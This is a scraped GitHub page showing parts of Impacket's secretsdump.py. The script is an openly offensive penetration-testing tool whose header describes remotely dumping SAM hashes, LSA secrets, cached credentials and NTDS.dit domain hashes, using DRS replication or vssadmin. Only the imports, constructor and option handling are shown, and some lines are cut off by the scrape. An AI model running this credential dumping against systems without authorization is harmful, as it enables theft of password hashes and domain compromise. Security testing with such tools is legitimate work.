

fortra / impacket

Public

Notifications

Fork 3.6k

Star 13.5k

<> Code

Issues 196

Pull requests 150

Actions

Projects

Security

Insights

Files

master

Go to file

> .github

▼ examples

DumpNTLMInfo.py

Get-GPPPassword.py

GetADComputers.py

GetADUsers.py

GetLAPSPassword.py

GetNPUsers.py

GetUserSPNs.py

addcomputer.py

atexec.py

changepasswd.py

dacledit.py

dcomexec.py

describeTicket.py

dpapi.py

esentutl.py

exchanger.py

findDelegation.py

getArch.py

getPac.py

getST.py

getTGT.py

goldenPac.py

karmaSMB.py

keylistattack.py

kintercept.py

lookupsid.py

machine_role.py

mimikatz.py

mqtt_check.py

mssqlclient.py

mssqlinstance.py

net.py

netview.py

ntfs-read.py

impacket / examples / secretsdump.py

gabrielg5

Updating copyright banner...

✓

27e7e74 · 3 months ago

History

Code

Blame

Executable File · 539 lines (491 loc) · 28 KB

Raw

1

#!/usr/bin/env python

2

Impacket - Collection of Python classes for working with network protocols.

3

#

4

Copyright Fortra, LLC and its affiliated companies

5

#

6

All rights reserved.

7

#

8

This software is provided under a slightly modified version

9

of the Apache Software License. See the accompanying LICENSE file

10

for more information.

11

#

12

Description:

13

Performs various techniques to dump hashes from the

14

remote machine without executing any agent there.

15

For SAM and LSA Secrets (including cached creds)

16

we try to read as much as we can from the registry

17

and then we save the hives in the target system

18

(%SYSTEMROOT%\Temp dir) and read the rest of the

19

data from there.

20

For NTDS.dit we either:

21

a. Get the domain users list and get its hashes

22

and Kerberos keys using [MS-DRDS] DRSGetNCChanges()

23

call, replicating just the attributes we need.

24

b. Extract NTDS.dit via vssadmin executed with the

25

smbexec approach.

26

It's copied on the temp dir and parsed remotely.

27

#

28

The script initiates the services required for its working

29

if they are not available (e.g. Remote Registry, even if it is

30

disabled). After the work is done, things are restored to the

31

original state.

32

#

33

Author:

34

Alberto Solino (@agsolino)

35

#

36

References:

37

Most of the work done by these guys. I just put all

38

the pieces together, plus some extra magic.

39

#

40

- https://github.com/gentilkiwi/kekeo/tree/master/dcsync

41

- https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html

42

- https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html

43

- https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html

44

- https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13

45

- https://code.google.com/p/creddump/

46

- https://lab.mediaservice.net/code/cachedump.rb

47

- https://insecurety.net/?p=768

48

- https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/

49

- https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-f

50

- https://www.passcape.com/index.php?section=blog&cmd=details&id=15

51

#

52

53

from __future__ import division

54

from __future__ import print_function

55

import argparse

56

import codecs

57

import logging

Page 1 of 8

- ntlmrelayx.py
- ownedredit.py
- ping.py
- ping6.py
- psexec.py
- raiseChild.py

```
57     import logging
58     import os
59     import sys
60
61     from impacket import version
62     from impacket.examples import logger
63     from impacket.examples.utils import parse_target
64     from impacket.smbconnection import SMBConnection
65     from impacket.ldap.ldap import LDAPConnection, LDAPSessionError
66
67     from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes,
68         KeyListSecrets
69     from impacket.krb5.keytab import Keytab
70     try:
71         input = raw_input
72     except NameError:
73         pass
74
75     class DumpSecrets:
76     def __init__(self, remoteName, username='', password='', domain='', options=None):
77         self.__useVSSMethod = options.use_vss
78         self.__useKeyListMethod = options.use_keylist
79         self.__remoteName = remoteName
80         self.__remoteHost = options.target_ip
81         self.__username = username
82         self.__password = password
83         self.__domain = domain
84         self.__lmhash = ''
85         self.__nthash = ''
86         self.__aesKey = options.aesKey
87         self.__aesKeyRodc = options.rodccKey
88         self.__smbConnection = None
89         self.__ldapConnection = None
90         self.__remoteOps = None
91         self.__SAMHashes = None
92         self.__NTDSHashes = None
93         self.__LSASecrets = None
94         self.__KeyListSecrets = None
95         self.__rodcc = options.rodccNo
96         self.__systemHive = options.system
97         self.__bootkey = options.bootkey
98         self.__securityHive = options.security
99         self.__samHive = options.sam
100        self.__ntdsFile = options.ntds
101        self.__skipSam = options.skip_sam
102        self.__skipSecurity = options.skip_security
103        self.__history = options.history
104        self.__noLMHash = True
105        self.__isRemote = True
106        self.__outputFileName = options.outputfile
107        self.__doKerberos = options.k
108        self.__justDC = options.just_dc
109        self.__justDCNTLM = options.just_dc_ntlm
110        self.__justUser = options.just_dc_user
111        self.__ldapFilter = options.ldapfilter
112        self.__skipUser = options.skip_user
113        self.__pwdLastSet = options.pwd_last_set
114        self.__printUserStatus= options.user_status
115        self.__resumeFileName = options.resumefile
116        self.__canProcessSAMLSA = True
117        self.__kdcHost = options.dc_ip
118        self.__remoteSSMethod = options.use_remoteSSMethod
```



```
466         sys.exit(1)
467
468     options = parser.parse_args()
469
470     # Init the example's logger theme
471     logger.init(options.ts)
472
473     if options.debug is True:
474         logging.getLogger().setLevel(logging.DEBUG)
475         # Print the Library's installation path
476         logging.debug(version.getInstallationPath())
477     else:
478         logging.getLogger().setLevel(logging.INFO)
479
480     domain, username, password, remoteName = parse_target(options.target)
481
482     if options.just_dc_user is not None or options.ldapfilter is not None:
483         if options.use_vss is True:
484             logging.error('-just-dc-user switch is not supported in VSS mode')
485             sys.exit(1)
486         elif options.resumefile is not None:
487             logging.error('resuming a previous NTDS.DIT dump session not compatible wit')
488             sys.exit(1)
489         elif remoteName.upper() == 'LOCAL' and username == '':
490             logging.error('-just-dc-user not compatible in LOCAL mode')
491             sys.exit(1)
492         else:
493             # Having this switch on implies not asking for anything else.
494             options.just_dc = True
495
496     if options.use_vss is True and options.resumefile is not None:
497         logging.error('resuming a previous NTDS.DIT dump session is not supported in VS')
498         sys.exit(1)
499
500     if options.use_keylist is True and (options.rodCno is None or options.rodCkey is No
501         logging.error('Both the RODC ID number and the RODC key are required for the Ke
502         sys.exit(1)
503
504     if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not N
```

```
505         logging.error('resuming a previous NTDS.DIT dump session is not supported in LO
506         sys.exit(1)
507
508     if remoteName.upper() == 'LOCAL' and username == '':
509         if options.system is None and options.bootkey is None:
510             logging.error('Either the SYSTEM hive or bootkey is required for local pars
511             sys.exit(1)
512     else:
513
514         if options.target_ip is None:
515             options.target_ip = remoteName
516
517         if domain is None:
518             domain = ''
519
520         if options.keytab is not None:
521             Keytab.loadKeysFromKeytab(options.keytab, username, domain, options)
522             options.k = True
523
524         if password == '' and username != '' and options.hashes is None and options.no_
525             from getpass import getpass
526
527             password = getpass("Password:")
528
529         if options.aesKey is not None:
530             options.k = True
531
532     dumper = DumpSecrets(remoteName, username, password, domain, options)
533     try:
534         dumper.dump()
535     except Exception as e:
536         if logging.getLogger().level == logging.DEBUG:
537             import traceback
538             traceback.print_exc()
539         logging.error(e)
```